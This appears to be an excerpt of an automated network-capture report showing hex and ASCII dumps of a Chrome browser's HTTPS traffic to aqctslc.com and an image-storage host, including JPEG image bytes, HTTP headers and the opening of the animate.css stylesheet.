2025-01-09 23:51:35 UTC	1369	IN	Data Raw: 1c 29 63 f9 70 f5 a5 9b 31 26 cb ec 9e 0c ce bd b7 a9 31 e1 b8 4c 3e 52 c4 a8 37 48 f8 2e f6 13 8f 30 fa 93 1f 73 4a d3 83 0f 19 53 51 7a 82 ac 61 52 c5 c7 70 05 14 00 45 41 73 2c 2c 5f 40 15 7c ee 7a 72 8c b4 28 73 d2 f1 90 9b 2e a3 ae 0f b8 28 b5 2a 8d 46 e0 aa a6 29 31 04 c7 c2 77 e6 7b 95 27 35 91 a7 c6 7d fa d7 4a 0c 54 1a 5c 31 e8 bd e8 8e 17 6e 7b df 87 bf b8 fb 4f 97 fb a5 ac 06 c5 7c f6 79 04 26 8b c6 f4 2b 57 28 95 ce 6f af 02 8a f9 ac 0a fc 0d 41 bf ea cc f6 f1 3f 73 85 52 65 15 af 7b 39 f0 2e 82 69 d7 f4 eb 9d b9 42 e9 fb 4b 1c b7 15 f8 02 50 9b f3 7a 67 ae 50 3a 1c ee bf 86 60 10 3e bc 5a 7d 3f d7 14 f3 d9 b7 00 fd 04 df 8b 01 ec c9 15 4a f7 2f e3 f8 2c f0 39 82 7b 55 01 6a b9 42 e9 d7 c3 7d af 05 5e 09 ec 04 2e 06 ee cc 15 4a df 5e d1 0f 70 Data Ascii: )cp1&1L>R7H.0sJSQzaRpEAs,,_@\|zr(s.(*F)1w{'5}JT\1n{O\|y&+W(oA?sRe{9.iBKPzgP:`>Z}?J/,9{UjB}^.J^p
2025-01-09 23:51:35 UTC	1369	IN	Data Raw: 73 d9 89 50 60 b6 e3 04 f3 85 f2 0d a7 69 fb cd d3 08 0a 0f f8 43 e6 0f 78 03 c0 0f 8a f9 ec 4d b9 42 e9 67 36 cb 5b 38 38 ff fa 12 cd 16 08 8d 62 3e fb ef 73 de d6 08 9e 11 c2 bf 5f 09 27 72 b5 5c a1 f4 d6 95 e8 e7 69 b8 9a 85 da f0 52 5c 13 be 3a a5 55 7b 5c 69 da 09 e5 89 96 f7 0f 02 3f 04 5a 73 29 64 09 26 90 2f cb 15 4a 3f 59 c6 35 7f d0 f2 7e 29 eb cb f7 e6 be 29 e6 b3 bd cb b8 d6 72 c9 01 bf b8 8a e7 5f 35 3a 1e a8 7b 74 f9 79 d7 ee b8 88 c7 1f fc 01 6b fb 52 0c 17 87 79 f3 8d 31 be 7a 7f 93 23 62 17 a2 26 b3 c6 1c 67 ca 57 67 46 25 4d 91 00 15 ca 35 64 49 42 96 24 1c d7 05 d7 c5 76 17 66 fa ba 72 5d 2f 57 5c a5 73 68 6a 0d 3f 7c f4 69 6e da b2 0e c3 34 59 d3 df c3 f0 83 2a ce ee 7d dc 36 90 a1 64 b8 38 a1 45 58 56 65 2c c7 9a 89 2d 9e 6c d8 f3 3c Data Ascii: sP`iCxMBg6[88b>s_'r\iR\:U{\i?Zs)d&/J?Y5~))r_5:{tykRy1z#b&gWgF%M5dIB$vfr]/W\shj?\|in4Y*}6d8EXVe,-l<
2025-01-09 23:51:35 UTC	1369	IN	Data Raw: b4 ec 6f c7 67 2f 94 d0 c4 b3 a5 98 cf b6 6a de d3 fc 46 31 9f 5d 8e d3 de ed b9 42 69 34 3c e7 4a 3e f7 ff da f2 fe 56 02 2b d6 0c 67 e0 78 d6 ca 33 2d e7 4b 2c 57 30 2f 29 94 fb d2 3a 37 ef ea bf b1 27 d3 c5 f1 d2 24 ba a6 32 32 de fe 19 b2 e7 98 8d fb 93 32 27 0f 1d e7 8b fb 5c 4a ca 1a 6a ae 02 b8 33 71 ca 92 2c cf 24 10 01 50 65 81 6f dc 73 9c 5c 7f 2f 5f 7d 6c 3f 6f 5e a7 31 bc e7 14 00 d7 3c ff 32 6a 8d 0a b5 4a 0d c3 70 49 26 34 c6 a6 da 7b 9d 4b b2 44 a3 56 23 a1 ab 58 61 82 10 41 98 ff bd aa b2 88 26 07 66 67 c7 36 71 95 d0 3b 3b ec 7f d3 19 a3 62 ba 98 9e 80 e9 d8 58 8e 87 e9 d8 f4 77 a5 b1 5d 17 77 ce e7 4c 6a a1 d7 b9 e4 63 ba 16 96 69 72 ef e3 26 83 3d 3e 49 65 9c 6d 9b 6b b8 9e bf 95 f3 eb ec d5 4e 53 96 81 8b 80 d5 12 62 bf cd f9 5d cb 6e Data Ascii: og/jF1]Bi4<J>V+gx3-K,W0/):7'$222'\Jj3q,$Peos\/_}l?o^1<2jJpI&4{KDV#XaA&fg6q;;bXw]wLjcir&=>IemkNSb]n
2025-01-09 23:51:35 UTC	1369	IN	Data Raw: 97 5e c2 5c d6 0b 36 13 c4 78 b7 52 5b 6c 29 a7 98 cf fe 1a 81 45 e8 4d 1d 66 53 5b 38 48 2e 83 30 84 70 fd d9 9c 63 15 78 96 ce 32 81 6d 64 61 7e 73 80 3b 98 e3 23 b0 2a de d7 92 24 aa 71 75 b6 59 a5 de 9c dd e7 db b8 42 20 5c 6d 57 62 11 25 78 06 d7 73 e9 d1 44 14 75 36 0b 56 3c a6 62 da 1e 5a 4c c5 6c ce 6a ad bd a2 49 53 15 f8 c8 77 1f e4 8a 1f c4 a9 99 0e a9 b8 1a 26 24 81 b1 c6 ec 67 5d 77 fd 29 36 3d e2 b1 ef a8 c8 86 9e 24 97 6d e8 e6 17 7e ef 76 f6 7c eb 49 9e 7a ea 28 76 43 c0 16 82 e3 a6 b5 e1 86 65 ce 33 65 07 9f c1 a5 eb 8a 5d 64 2f 9d 2f c3 0e 7c b0 c0 86 5f fe 1d 6e db 35 c0 7d 7b 47 71 aa 4d d2 e9 34 56 b3 39 a3 79 67 b3 09 f4 30 24 2b 1d 13 b9 74 7d 8c 8d 6b 74 a0 46 52 97 fb ca 35 5b 66 d6 cd ff 9c 11 7a 13 b6 73 b2 81 60 7d f4 25 04 b3 Data Ascii: ^\6xR[l)EMfS[8H.0pcx2mda~s;#*$quYB \mWb%xsDu6V<bZLljISw&$g]w)6=$m~v\|Iz(vCe3e]d//\|_n5}{GqM4V9yg0$+t}ktFR5[fzs`}%
2025-01-09 23:51:35 UTC	1369	IN	Data Raw: f6 17 f3 d9 6f 03 bf 30 67 b3 4e 60 da bf 63 b5 3a 36 97 25 85 b2 2c cf ba 27 c7 e2 2a aa ec 52 b6 7c 62 cc fa 9d c8 8b 38 ec 69 f8 ac ed 4d a1 ea 1a 92 9e 22 55 19 27 7d e9 25 00 d8 e3 63 34 2c 1b 5d 16 39 56 36 70 a4 18 be bf b0 3b 6b 14 97 51 c0 f0 05 a6 1a 12 7b 1d 93 e7 56 6a dc f2 0b d7 b0 fb 27 4f f0 dc 9b bb 38 76 7f 60 52 57 24 89 91 72 8d 7a d5 a4 51 69 d0 68 04 ce 63 db 5e 1c e3 ff 7f cf 51 1e 3c ee 31 a0 f8 34 c3 ae 76 a9 02 c2 55 37 12 cb cc 9a d6 e7 3a 78 5d ba e5 c7 88 b7 0c f0 e0 c7 0e 00 b0 f5 85 b7 32 fa c0 3d 18 35 0f 2c 0f 59 95 d1 fb 83 c2 36 ae 39 49 3a a5 e0 db 06 ba e0 72 32 94 c3 eb 32 b0 75 30 c9 b1 b1 76 36 84 55 e7 1d 74 36 f1 7a 7b 31 9f 7d ff 99 66 f7 ca 15 4a 63 c5 7c f6 52 02 67 98 d7 84 9b 3d 2e fc 42 02 7f 50 cc 67 ff e0 Data Ascii: o0gN`c:6%,'*R\|b8iM"U'}%c4,]9V6p;kQ{Vj'O8v`RW$rzQihc^Q<14vU7:x]2=5,Y69I:r22u0v6Ut6z{1}fJc\|Rg=.BPg
2025-01-09 23:51:35 UTC	945	IN	Data Raw: 57 23 0b e2 0c a7 1d 38 fb d2 c1 72 ca a9 8a bb b7 51 6e 12 8f 2b ac ed 4b d1 1d 9f 1f 33 9e 4e c7 88 27 21 2e 0b 64 52 2a a2 1b 4c 74 06 07 d7 11 57 15 54 5d 23 bd 6e 2d 4a 3a cd d4 c9 11 4e 94 c6 d8 7b 64 84 e3 e3 75 34 45 a4 4b 93 e9 4f 27 d0 62 ea 3c ef ec f1 9a c7 f7 ef 3d c1 c5 dd f3 d7 63 9b 08 fc d5 fb 9f 64 f7 be 32 6e 33 f8 fe 5c b3 49 22 3e 45 57 ca a6 dc 93 65 4a 8e 51 f4 2e e2 80 d1 47 ad 1e 08 73 85 38 83 3b af 42 49 77 61 59 4b 7f ef ee 75 bf 8a 77 c3 6b e9 39 7a 1f 00 8d b1 60 a1 f8 f9 b7 07 4e c6 75 cb a6 e6 07 e7 f1 dc d9 3e 4e e7 2a 49 24 55 8e 4c ba 1c 2e 35 4a e7 b8 74 e3 5f d1 7e ed eb 6f 72 85 92 91 2b 94 ee 07 be db 66 ff ef 15 f3 d9 0b 2e 79 c3 0a 72 35 41 ca d1 c4 9c d7 d5 6d da fd 7a b8 af 87 c0 91 26 c1 ec fd ba b5 4d fb 9f f6 Data Ascii: W#8rQn+K3N'!.dRLtWT]#n-J:N{du4EKO'b<=cd2n3\I">EWeJQ.Gs8;BIwaYKuwk9z`Nu>NI$UL.5Jt_~or+f.yr5Amz&M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49744	104.26.3.190	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:34 UTC	632	OUT	GET /images/img_678003710aa442.93325130.jpeg HTTP/1.1 Host: imagesspace.hks3.layerstackobjects.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:35 UTC	978	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 23:51:35 GMT Content-Type: image/jpeg Content-Length: 117451 Connection: close Accept-Ranges: bytes Last-Modified: Thu, 09 Jan 2025 17:12:17 GMT x-rgw-object-type: Normal ETag: "3709aa2a5d4030e3443426ab3d602b27" x-amz-request-id: tx00000e3a198e2fdf6163e-0067806107-5b286d-default CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MZQm5mqn58%2BG%2BlDGupJUKpHrTjaWXsZb%2BQLwOzuv7ZLFyrLPps6zwESvd47syzi%2BWagFivoGnSRpFu3XD4NZ5dot%2FBdXP2xVx9KmQcWouc361eTCmtrz4NUXpJlJWfdFOVN6z9CRLInAqbrkb1m44wOcT1jGz5YS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff856092c8c4380-EWR server-timing: cfL4;desc="?proto=TCP&rtt=4053&min_rtt=2027&rtt_var=4620&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2480&recv_bytes=1214&delivery_rate=1410628&cwnd=224&unsent_bytes=0&cid=36323644c2abc952&ts=1091&x=0"
2025-01-09 23:51:35 UTC	391	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff fe 00 3e 43 52 45 41 54 4f 52 3a 20 67 64 2d 6a 70 65 67 20 76 31 2e 30 20 28 75 73 69 6e 67 20 49 4a 47 20 4a 50 45 47 20 76 38 30 29 2c 20 64 65 66 61 75 6c 74 20 71 75 61 6c 69 74 79 0a ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 03 3a 04 38 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 Data Ascii: JFIFHH>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default qualityC $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222:8"
2025-01-09 23:51:35 UTC	1369	IN	Data Raw: 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca Data Ascii: w!1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
2025-01-09 23:51:35 UTC	1369	IN	Data Raw: 5e ca bf 55 06 b3 d9 99 59 95 8e 48 38 3c d2 07 71 d1 8d 57 d4 20 47 f6 ed 54 f5 45 a7 f0 de e1 fb 9b e8 9b d0 30 22 a9 cd e1 dd 49 06 56 34 95 7d 63 71 52 09 e4 07 86 22 a4 4b fb 84 e8 e6 b3 96 5c ba 1d 14 f8 83 f9 91 83 75 6b 73 6e 71 34 12 27 d5 48 ac d9 db 20 d7 76 9a d4 bb 76 ca 82 45 ee 08 04 55 7b 8b 2d 0f 53 04 49 09 b6 90 ff 00 1c 67 1f fd 6a e5 ab 97 cd 6c 7a 54 33 ba 33 dd 9e 6b 73 de a8 91 c9 ae d3 55 f0 55 ea 23 4d a7 ca 97 91 f5 da 0e 1c 57 1f 3c 52 41 2b 47 34 6d 1b 83 82 ac 08 22 bc ca b4 67 0d d1 ec d1 c4 53 a9 f0 b2 31 4f 5a 6d 28 ae 73 a4 78 a5 cd 33 34 16 a0 07 16 a6 e7 14 d2 78 34 c2 d4 01 21 6a 42 f5 16 ea 69 7a 60 4a 5e 90 b5 42 5a 8d d4 08 93 75 1b aa 3c d2 03 40 12 ee a4 cf 14 d1 4b 40 08 69 00 a5 34 82 80 11 a9 86 a4 35 1b 53 10 Data Ascii: ^UYH8<qW GTE0"IV4}cqR"K\uksnq4'H vvEU{-SIgjlzT33ksUU#MW<RA+G4m"gS1OZm(sx34x4!jBiz`J^BZu<@K@i45S
2025-01-09 23:51:35 UTC	1369	IN	Data Raw: 07 9a 31 4c 02 8a 28 a6 21 a6 98 69 e6 9a 68 19 1b 53 0d 48 c2 98 68 11 1b 1e 2a 26 eb 52 91 50 9e b4 c0 43 48 69 49 a2 a8 40 29 71 40 a7 0a 04 00 53 d5 69 05 74 7e 19 f0 cc 9a dc 86 79 c9 8b 4f 8c e1 e4 ee e7 fb ab fe 35 74 e9 ca 6e c8 ca ad 58 d3 8f 34 8a fa 17 87 ae 75 b9 89 53 e4 da a7 fa c9 c8 e0 7b 0f 53 5e 83 6e 6c f4 4b 01 6d a5 c0 42 13 86 98 82 77 1f 73 de b6 3c 39 a3 45 ab de fd 9e 35 54 d2 ac 80 06 34 e8 e7 fb a7 f9 9a ee 35 b1 69 63 e1 eb b6 78 23 f2 62 84 e1 76 8c 74 af 4a 12 a7 85 9a 85 b9 a5 d4 f1 ea 42 b6 32 9c aa 29 72 c5 6c 79 1b 4a f2 b6 e6 62 4f a9 a0 53 00 20 73 4e 1c d7 d1 d9 58 f8 99 dd bd 49 29 45 34 52 e6 91 90 ea 5a 4a 05 21 0e a2 93 34 b4 08 33 4b 9a 4a 5a 40 19 a3 3c 63 03 d7 34 62 8c 50 02 1a 28 27 34 50 02 62 90 d3 8d 34 d3 Data Ascii: 1L(!ihSHh*&RPCHiI@)q@Sit~yO5tnX4uS{S^nlKmBws<9E5T45icx#bvtJB2)rlyJbOS sNXI)E4RZJ!43KJZ@<c4bP('4Pb4
2025-01-09 23:51:35 UTC	1369	IN	Data Raw: 29 d4 94 00 98 a3 14 b8 a5 a0 42 6d a5 2b 4a 29 e0 50 04 45 6a 32 39 ab 25 6a 26 1d 68 02 3c 54 81 73 cd 37 1c d4 aa 38 14 08 8d 97 8a 4d b5 2b 0a 6e 28 18 dd bc 53 94 51 8a 76 28 01 c0 51 b7 26 94 0c 52 81 cd 00 28 5a 29 c3 8a 29 5c 65 79 22 c9 a8 9a 2a ba eb cd 46 cb 9a cc b2 93 47 4d f2 cd 5b 2b 4d d9 4c 0a e2 33 4f 09 53 84 a7 85 a0 2c 42 10 fa 53 82 11 53 84 a5 db 48 65 6c 62 8a b1 b7 da 90 27 b5 00 41 40 a9 ca 7b 52 ec 14 01 0d 2d 4d b0 7a 51 b0 52 02 31 48 c6 a4 d9 c5 31 96 80 21 63 93 4d 07 34 e2 94 81 29 80 f0 d8 a9 15 f8 a8 82 d3 f6 9c 53 01 fb e9 ca d5 16 d3 4a 01 a0 09 83 53 83 54 1c d3 86 68 19 30 6a 5d d5 10 cd 38 1a 04 48 0d 38 1a 88 53 81 a4 04 9b a9 19 b8 a6 e6 98 5a 90 87 16 a3 76 2a 32 69 33 48 44 8c f5 19 a3 39 a4 3d 28 01 28 a2 93 34 Data Ascii: )Bm+J)PEj29%j&h<Ts78M+n(SQv(Q&R(Z))\ey"FGM[+ML3OS,BSSHelb'A@{R-MzQR1H1!cM4)SJSTh0j]8H8SZv2i3HD9=((4
2025-01-09 23:51:35 UTC	1369	IN	Data Raw: 0f e8 b5 ad 28 39 cd 44 ca ac d4 22 e4 75 77 70 c5 a1 68 76 ba 3d b6 31 1a fc ed fd e3 dc fe 75 84 cd 93 5a 5a dc c6 5b f7 04 e7 68 c7 e3 59 44 f3 9a fb 4c 25 35 4e 92 48 fc ff 00 1b 55 d6 af 26 c7 ac 9e 5b ac 98 ce d6 0d f9 57 af 5d 78 a2 da 06 82 3b 68 26 bb 67 74 46 68 57 29 1e 7a ee 6e 9c 0e 71 5c de 81 e0 04 95 63 ba d5 d8 b2 90 18 5a 8e 9f f0 2f 5a c5 f1 a7 89 75 06 d1 35 9b 5d 26 3f 2e 2b 67 16 d0 24 03 0c 39 20 b7 e4 0d 78 59 96 26 96 22 ac 61 0d 6c 7d 36 4d 84 ab 86 a5 29 cf 4b 9a 5e 2f d4 6d af 7c 4c 90 c4 cb 20 b1 8c f9 98 39 f9 b1 bb 1f 90 15 c8 bb 99 1c b9 3c b1 c9 35 9d a0 a3 58 e9 76 e1 89 32 32 ee 90 b9 39 66 6e b9 f5 eb 5b b7 ed 66 6d ec 7e ca 14 39 80 19 c8 cf df cd 7b 38 6a 7e c2 11 85 af a7 fc 13 e7 71 d3 f6 f5 aa 54 ec ff 00 e0 14 85 Data Ascii: (9D"uwphv=1uZZ[hYDL%5NHU&[W]x;h&gtFhW)znq\cZ/Zu5]&?.+g$9 xY&"al}6M)K^/m\|L 9<5Xv229fn[fm~9{8j~qT
2025-01-09 23:51:35 UTC	1369	IN	Data Raw: c7 39 cb 11 93 fa 9a fb 0a 51 54 d4 52 95 d5 8f 80 c5 4b da 4a 4f 96 ce e4 14 b5 22 41 2b b0 0b 13 92 7b 05 26 91 e3 78 ce 1d 4a 9f 42 08 35 bf 3c 7b 9c 6e 12 5a d8 65 2e 68 a4 c5 3b 93 61 73 46 69 b9 c1 a2 8b 0a c3 b3 49 ba 92 8e b4 58 76 2d cb 2c 4c 22 2a 08 3b 7f 78 47 42 79 a6 89 49 da a4 90 a0 f4 f4 aa e4 90 30 41 04 75 04 52 a9 3d 6a 39 15 81 ef 72 d4 fb 56 56 31 96 f2 c9 c2 86 ea 45 42 72 0f 35 13 48 77 72 49 a0 16 63 80 32 c7 80 3d 68 51 e5 41 cb cc f4 3a 2f 0f f8 7e e7 5b 90 ba b8 8a dd 0e 1e 4c 64 9f 61 ef 5e 83 69 e1 ad 2a c9 07 fa 32 48 cb fc 72 e1 8f eb 56 74 7d 3e 3d 2f 4b b7 b4 8c 7d c4 1b 8f 72 dd cf e7 59 7e 24 d5 ed 74 a9 e0 7d 45 58 d9 14 6c e5 37 2e fc 8c 6e af 94 c5 63 6a 56 9b b3 b2 3e ef 01 95 d1 c3 d3 4e 51 bc ba b6 6c 7f 67 58 ba Data Ascii: 9QTRKJO"A+{&xJB5<{nZe.h;asFiIXv-,L";xGByI0AuR=j9rVV1EBr5HwrIc2=hQA:/~[Lda^i2HrVt}>=/K}rY~$t}EXl7.ncjV>NQlgX
2025-01-09 23:51:35 UTC	1369	IN	Data Raw: aa c3 9e fa 7a 98 55 c7 51 a5 37 0e 5d 7d 0f 70 89 a3 96 35 92 3d a5 18 65 48 1d 45 36 58 ad e5 1b 64 8e 36 1e 8c 01 a2 da 3f 22 d2 28 8f f0 20 5f c8 57 93 ea de 36 ba b7 d6 6e e3 4b cb 74 8e 39 4a 85 64 dd d2 b9 b0 d8 6a 95 e4 e3 07 b1 d3 8a c4 d2 c3 c1 4a 6b 73 d3 24 d0 b4 89 8e 64 d3 ad 58 fa f9 4b 55 e4 f0 9e 87 28 c1 d3 e2 5f f7 3e 5f e5 5e 6a bf 12 26 4f f5 92 5a bf d1 5c 7f 5a b1 1f c5 25 53 86 48 fe ab 33 0f e9 5d bf 50 c6 47 e1 7f 89 c3 f5 dc 0c fe 28 7f e4 a7 6b 27 80 b4 27 fb b1 4c 9f 49 5b fa d5 19 3e 1c 58 b1 cc 77 b7 09 ec 40 6a c7 87 e2 9d a1 fb db 81 f4 12 29 fe 78 ad 28 3e 24 69 d2 63 32 30 fa a6 7f 91 a3 93 31 87 57 f9 89 c7 2c 9e f1 4b e5 62 bc ff 00 0d e7 1f ea 35 04 61 fe dc 64 7f 23 59 b3 f8 0b 5a 8b 26 35 82 61 fe cb e3 f9 8a eb 21 Data Ascii: zUQ7]}p5=eHE6Xd6?"( _W6nKt9JdjJks$dXKU(_>_^j&OZ\Z%SH3]PG(k''LI[>Xw@j)x(>$ic201W,Kb5ad#YZ&5a!
2025-01-09 23:51:35 UTC	1369	IN	Data Raw: 0d 48 09 96 a4 53 50 86 a7 86 a4 04 c0 d4 8a 6a 0d dc f5 a7 a9 a4 22 c0 35 20 6c 0a ae ad 52 03 9a 40 4a 5a 93 34 83 9a 91 53 34 08 67 5a 70 19 a9 56 13 53 2c 3e d4 0c 81 63 a9 96 2f 6a b3 1c 19 03 8a 99 20 f6 a2 e3 b1 51 62 f6 a9 d2 0a b6 b0 73 d2 a7 58 30 3a 54 dc ae 52 9a c0 3d 2a 55 83 da ae 2c 5e d5 20 87 8a 57 1d 8a 62 1f 6a 95 21 f6 ab 4b 0e 7b 54 82 1f 6a 43 b1 5d 22 cf 6a 95 61 ab 2b 0d 48 23 f6 a9 0b 15 7c 9a 3c 8a ba 22 f6 a3 ca a0 76 29 79 3e d4 86 1f 6a bd e5 fb 52 18 e8 1d 8c f6 86 a2 30 f3 d2 b4 4c 54 cf 27 9e 94 0a c7 1d ad 37 94 f7 b8 60 33 1c 71 81 9e 4e 4e 4f f2 aa d2 86 58 60 52 08 f9 41 5c f7 1c 51 ae ba 7f c2 46 c9 2f fa a4 20 3f d0 81 cd 2e a0 ae 8c 10 c8 1d 22 1b 51 87 42 a3 a5 7d d6 55 1e 5c 3c 51 f1 79 9b e6 c4 3b f7 20 66 cc 84 Data Ascii: HSPj"5 lR@JZ4S4gZpVS,>c/j QbsX0:TR=*U,^ Wbj!K{TjC]"ja+H#\|<"v)y>jR0LT'7`3qNNOX`RA\QF/ ?."QB}U\<Qy; f
2025-01-09 23:51:35 UTC	945	IN	Data Raw: d7 63 c9 c2 c3 f7 9a 90 78 81 0c 7a e5 cc 64 60 a9 03 f4 15 45 4e 31 57 fc 43 e6 9d 6e 76 98 62 47 3b d8 7a 13 9a ce 15 f1 95 bf 88 cf ad 87 c2 89 d4 d4 aa dd 2a b2 9a 91 5a b2 2c b4 1e a4 0d c5 56 57 a9 03 f1 48 09 73 46 6a 3d d4 16 a0 63 f3 4c 3d 69 09 a6 e6 81 0e 34 98 a0 1a 5c 50 01 8a 31 4b 8a 28 18 84 52 1c 52 9a 28 01 05 3f 14 d0 29 c0 50 02 62 93 1c d3 b1 48 41 a0 06 62 80 38 a7 6c 34 6d 34 80 6e 29 71 46 d3 4b 8a 00 6e 29 0d 3b a5 34 9a 00 30 29 40 a4 ef 4e cd 00 28 14 e0 29 b9 a7 50 03 a8 a4 cd 19 a0 02 83 49 9a 4c d0 02 e6 93 34 dc e0 d2 6e a0 09 33 4d 26 9b ba 90 b7 b5 31 0e 2d 4d a6 96 a0 1e 69 81 20 e6 9e b4 c0 69 f4 00 13 49 9a 08 cd 26 31 40 0b 47 34 51 9a 43 14 1a 5a 8f a9 a7 8a 56 00 cd 14 6c 34 50 04 f8 a4 c5 4a 52 93 65 73 5c b2 21 4b Data Ascii: cxzd`EN1WCnvbG;z*Z,VWHsFj=cL=i4\P1K(RR(?)PbHAb8l4m4n)qFKn);40)@N()PIL4n3M&1-Mi iI&1@G4QCZVl4PJRes\!K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49743	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:34 UTC	554	OUT	GET /themes/static/css/animate.min.css HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:51:34 UTC	244	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:34 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:34 UTC	16140	IN	Data Raw: 31 31 38 34 63 0d 0a 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2f 2a 21 0d 0a 20 2a 20 61 6e 69 6d 61 74 65 2e 63 73 73 20 2d 20 68 74 74 70 73 3a 2f 2f 61 6e 69 6d 61 74 65 2e 73 74 79 6c 65 2f 0d 0a 20 2a 20 56 65 72 73 69 6f 6e 20 2d 20 34 2e 31 2e 31 0d 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 0d 0a 20 2a 0d 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 32 30 20 41 6e 69 6d 61 74 65 2e 63 73 73 0d 0a 20 2a 2f 3a 72 6f 6f 74 7b 2d 2d 61 6e 69 6d 61 74 65 2d 64 75 72 61 74 69 6f 6e 3a 31 73 3b 2d 2d 61 6e 69 6d 61 74 65 2d 64 65 6c 61 79 3a 31 73 3b 2d 2d 61 6e Data Ascii: 1184c@charset "UTF-8";/! animate.css - https://animate.style/ * Version - 4.1.1 * Licensed under the MIT license - http://opensource.org/licenses/MIT * * Copyright (c) 2020 Animate.css */:root{--animate-duration:1s;--animate-delay:1s;--an
2025-01-09 23:51:34 UTC	16384	IN	Data Raw: 30 29 20 73 63 61 6c 65 28 2e 37 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 30 29 20 73 63 61 6c 65 28 2e 37 29 3b 6f 70 61 63 69 74 79 3a 2e 37 7d 74 6f 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 3b 6f 70 61 63 69 74 79 3a 31 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 62 61 63 6b 49 6e 4c 65 66 74 7b 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 32 30 30 30 70 78 29 20 73 63 61 6c 65 28 2e 37 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 